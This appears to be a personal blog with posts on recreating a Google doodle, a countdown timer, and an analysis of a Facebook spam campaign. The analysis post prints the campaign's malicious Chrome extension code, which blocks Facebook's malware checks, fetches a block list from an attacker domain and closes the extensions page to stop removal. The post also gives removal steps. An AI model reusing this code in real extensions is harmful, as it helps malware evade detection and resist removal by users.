Playing with the Doodle Balls

So back in 2010 (September 7),  Google made this amazing doodle..
Now, the reason I loved this one especially is because they made something so awesome with only javascript!
No flash, no actionscript, nothing fancy.. So it does not have any kind of dependency on activex, adobe flash or silverlight for that matter.. Its an html page that will run on even crappy Internet Explorer! :D

And that day i clearly remember spending half an hour just rolling my mouse over this..

Anyways at that time I wanted to recreate it... to say something that I want..
But because I didnt know much about coding or anything at that time.. after doing a big of google search I sorta just forgot all about it.

But I have always respected and been inspired by the the standards of innovation and commitment the guys at Google/Apple show in whatever work they do.. [Unlike Microsoft and Oracle for that matter.. (Java is a mess!)]

Anyways recently I found this doodle again just by accident..
And I started working on it.. trying to understand how they coded it and then attempting to recreate it..

                                     The Google doodle from Sept 7, 2010

(Since I cannot properly put the javascript codes here.. I had to host it elsewhere and iframe it on this post..
For a better doodle playing experience check out the links I have given below!)
Link to the Google's doodle:
http://ebullient.vacau.com/google.html

                                                            418Sec all the way!!

Link to the my doodle:
http://ebullient.vacau.com/418Sec.html
(I know its not as good as Google's , but then again... I am me.. and Google is too good.. :P )

If anyone wishes to take a look at the source code of the doodle I made, its available for download there on my blogfiles folder:
https://spideroak.com/browse/share/FFA/418sec/

Yes, its just the 418sec.html file.. few lines of html and css and a whole lot of jquery/javascript..
Hint: " The magic happens in the D( ) function. "

I am sure everyone will enjoy playing with this as much as I did.. :D

Countdown in Javascript/ jQuery: Tick Tock

So recently I had to make a simple countdown program for the Intra-Mun that was happening in my school..
So even after joining college I went back to school cause I really missed it as well..

Anyways let me first give some details about the functions:

• Set hour/min/sec
• Start/Pause/Reset(to the last entered time)
• I added two buttons for presets of 30 secs and 1 min.
• remove the input menu with keyboard shortcuts
• And I made keyboard shortcuts for all functions cause I knew i would feel too lazy to click..
• Coded in Javascript/jQuery with some css 
• And after time reaches 0.. there I added a nice pop-up notification!

Here is how the entire page looks like when timer is running:

And then there are lots of keyboard shortcuts.. honestly I added them because I was feeling bored and I wanted to see what else I can do to make it more interesting..
In case the user forgets.. one can always press the "h" or "H" key on the keyboard..
Matthew 7:7 "Ask and it will be given to you.."
Same right here..

A lovely pop-up telling you which key does what

And then there is the input menu of course which arrives when you start or press "M"/"m" to bring it.. or "x"/"X" to get rid of it and clear the screen..

Of course all these are pretty simple.. But I thought since I spent my time on this.. hopefully someone might be able to use this as well in the future.. 

Download from: https://spideroak.com/browse/share/FFA/418sec/Share/

(Yes, I am paranoid with privacy and security.. So screw googledrive and dropbox.. I am trying out SpiderOak.. I am not gonna let NSA have my files no matter how insignificant they are..)

PS.

This is the notification when your time runs out.. ;)

This video is yours? : The On-going Facebook Spam Campaign

In the past I have seen several facebook spam campaigns...
The usual ones are the ones that offer to change your facebook theme or hack your friend's account... in both cases you either paste your oauth code which u get from facebook after you accept to share your information to the app they specify, etc.

But this new campaign is better..
Its was live for the last 5 days and you can see the number of people infected by it and online from their amung.us url.
[Which I found after analyzing their plugin as we will see later in this post]

http://whos.amung.us/stats/userlistx5/

 So lets get into more details of how this spam campaign spread.

Prerequisites:
Nice landing pages, domains, silent plugin installers, plugins with some sweet javascript codes, and some more nice javascript code on their sites.

Step 1.
They bought installs to their plugin installers.
Step 2.
The plugins contacted their sites and then checked if user was logged into facebook.
Step 3.
The javascript spammed the user's friends with message like:

The RED part is you friend's name; The Grey part is your friend's photo.

A fairly convincing photo.. On which people instantly clicked..

It redirected them to the landing pages which looks like:

Again fairly convincing for normal everyday facebook users..

Step 4.
Then they saw the red arrow and clicked on the exe and ran it..

Now the important clue we get from this landing page is "Ana Sayfa"
Which is Turkish for "Home Page"
I am guessing the guys who made this page copied the Facebook bar codes straight out of facebook.
Hence they might be from Turkey.


So lets try to get more details about the plugin installer and the plugin.

Analysis of the exe by Virustotal:
Earlier [2 days ago] detections were: 7/53
Currently its: 22/53
[https://www.virustotal.com/en/file/db44cfb583e2b409d262e6d539106e4af8f33117a613983381b60cc0ee00e30d/analysis/1406476387/ ]


Now the exe installs a plugin..
Its name and other components are downloaded from the website the coder setup.
Hence the plugin after certain time intervals has a new name and new manifest file generated on the site.
In order to stop chrome from mass deleting a certain plugin.

The manifest.json file for the plugin:

The Preferences file for the plugin:

The background.js file thats injected by the plugin:

Now this background.js has two important functions..

1. It calls the javascript code from ext/s.php that does the spamming of the friends:

from here we can clearly see the whos.amung.us that is being used to keep track of the campaing.

2. The background.js has some interesting code in the end..

chrome.webRequest.onBeforeRequest.addListener(
  function (details) {
    var url = details.url;
    for (var i = 0; i < deep.length; i++) {
      if (url.indexOf(deep[i]) > -1) {
        return {
          cancel: true
        };
      }
    }
  }, {
    urls: ["<all_urls>"]
  }, ["blocking"]
);
var deep = ["facebook.com/csp.php","facebook.com/checkpoint/malware/cr_ext_config"];
function trance() {
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4) {
try {
JSON.parse(xmlhttp.responseText).forEach(function (d) {
if (d.uri) {
deep.push(d.uri);
}
});
} catch (e) {}
}
};
xmlhttp.open("GET", "http://patronbayi.com/ext/get.js", true);
xmlhttp.send();
}
trance();


chrome.tabs.onUpdated.addListener(function(tabid,x,tab)
{if(tab.url=="chrome://chrome/extensions" || 
tab.url=="opera://extensions" || 
tab.url=="chrome://help/" || 
tab.url=="chrome://extensions/")
{ 
chrome.tabs.remove(tab.id); 
} 
});

Now what this firstly does is.. it gets a list of domains from ext/get.js..

These are the domain names of Antivirus companies, etc who might detect this plugin and alert the user..

And the last part is the chrome.tabs.onUpdated.addListener() function that stops the user from opening the
chrome://extensions tab.. so even if the user tried to delete the plugin he could not.. At least not from the browser..
So, for everyone who wants to know how to remove it..
You would have to manually go to %localappdata% then Google\Chrome\User Data\Default\Extensions and then delete the rogue plugin, or just delete all the plugins and then install the plugins you need from chrome store again..
Here is an image to help explain better..

And now...
A Blast from the Past..

Facebook Black Theme people are also back!
[I have a hunch that these guys might know each other as i have seen both of them use similar codes or they might have stolen codes from each other or something..]

Originally it was being spread from:
https://www.facebook.com/notes/facetoon/switch-to-black-facebook-click-on-below-image/1503844979832724

So its something i noticed when i found this..
On facebook pages you can create notes.. and insert images which are hyperlinked to sites!

So as soon as the users clicked on the images it redirected them to those old get facebook theme landing pages that has steps like allow this app.. copy paste your oauth code like and idiot..

Then it would find people from the user's friend list and go spam their wall with the message
"Hey <friend's name>, I am using this new facebook theme. Try it out now! go here: <link to the facebook page note> "

But as since the link being spammed was a facebook domain itself.. it took facebook almost a 24 hours before they began deleting those messages and finally closed the page itself.

Seems like these people are discovering interesting things..
And every time Facebook thinks they have seen enough of the spammers and have found all the ways to stop them using their spam detection bots..
These guys come back with new surprises and more firepower!